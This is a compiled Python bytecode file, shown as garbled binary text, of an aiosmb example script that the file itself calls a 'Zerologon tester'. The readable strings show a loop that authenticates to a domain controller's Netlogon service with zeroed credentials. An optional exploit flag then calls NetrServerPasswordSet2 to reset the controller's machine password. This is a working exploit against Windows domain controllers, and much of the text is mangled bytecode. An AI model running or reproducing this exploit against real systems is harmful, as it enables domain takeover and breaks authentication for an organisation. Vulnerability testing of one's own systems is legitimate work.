o
    Žõ±j¾  ã                   @   sŠ   d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl	m
Z
mZ d dlmZ dZdd
d„Zddd„Zdd„ ZedkrCeƒ  dS dS )é    N)ÚSMBConnectionFactory)Ú
SMBMachine)ÚEPM)Únrpc)ÚpackÚunpack©Úloggeréÿ   é
   c                 C   s$   t  ¡ }t  | |¡|d< ||d< |S )NÚ
CredentialÚ	Timestamp)r   ÚNETLOGON_AUTHENTICATORÚComputeNetlogonCredentialAES)ÚclientStoredCredentialÚ
sessionKeyÚplusÚauthenticator© r   ú…/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/examples/zl.pyÚupdate_authenticatorO   s   r   Fc                 Ã   s(  �d|  }| }d}d}d}t  d|  ¡}| ¡ }	|	4 I d H šè t|	dd�}
|
 ¡ I d H \}}|d ur4|‚|
 tj¡I d H \}}|
 ¡ I d H \}}|d urN|‚|
 |¡}| ¡ I d H \}}|d urb|‚| 	tj¡I d H \}}|d urs|‚t
dtƒD ]w}tdƒ t ||d	 |d	 |¡I d H \}}|d ur•|‚|d
u r²t ||d	 |d tjj|d	 ||¡I d H \}}n$t ¡ }d|d< d|d< t ||d	 |d tjj|d	 |d¡I d H \}}|d urã| ¡ dkráqx|‚|d dkrïtdƒ  nqxtdƒ | ¡ I d H  W d   ƒI d H  d S 1 I d H �sw   Y  d S )Nz\\s           iÿÿ/!z#smb2+ntlm-password://XXX\aaa:aaa@%sÚncacn_ip_tcp)Úprotocolr   z5=====================================================ú Fz$ r   r   s                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      l   "    Ú	ErrorCodezServer is vulnerable!zFAILED!)r   Úfrom_urlÚget_connectionr   ÚconnectÚmapr   ÚMSRPC_UUID_NRPCÚ!get_connection_from_stringbindingÚbindÚrangeÚMAX_ATTEMPTSÚprintÚhNetrServerReqChallengeÚhNetrServerAuthenticate3ÚNETLOGON_SECURE_CHANNEL_TYPEÚServerSecureChannelr   ÚhNetrServerPasswordSet2Úget_error_codeÚ
disconnect)Údc_nameÚdc_ipÚexploitÚ	dc_handleÚtarget_computerÚ	plaintextÚ
ciphertextÚflagsÚurlÚ
connectionÚepmÚ_ÚerrÚstringBindingÚdceÚserver_authr   r   r   r   ÚrunV   sh   €
"
þ
þþ0Êr<   c                  C   sì   dd l } dd l}dd l}ddlm} | jdd�}|jddddd� |jd	d
ddd� |jddd� |jddd� | ¡ }|jdkrGt 	|j
¡ |jdkrhtdƒ t 	d¡ | 	d¡ t ¡  d¡ |j|j
d� t t|j|j|jƒ¡ d S )Nr   r   zZerologon tester)Údescriptionz-vz	--verboseÚcount)ÚactionÚdefaultz-ez	--exploitÚ
store_truezperform the expolit)r?   Úhelpr-   z#IP address of the domain controller)rB   r,   z1NETBIOS NAME of the domain controller (without $)é   é   zsetting deepdebugT)Úlevel)ÚargparseÚplatformÚloggingÚasysocksr	   ÚArgumentParserÚadd_argumentÚ
parse_argsÚverboseÚsetLevelÚDEBUGr$   ÚasyncioÚget_event_loopÚ	set_debugÚbasicConfigr<   r,   r-   r.   )rF   rG   rH   ÚsocksloggerÚparserÚargsr   r   r   Úmainž   s&   



rW   Ú__main__)r   )F)rP   Ú!aiosmb.commons.connection.factoryr   Ú!aiosmb.commons.interfaces.machiner   Ú'aiosmb.dcerpc.v5.interfaces.endpointmgrr   Úaiosmb.dcerpc.v5r   Ústructr   r   Úaiosmbr	   r#   r   r<   rW   Ú__name__r   r   r   r   Ú<module>   s   
E
H
ÿ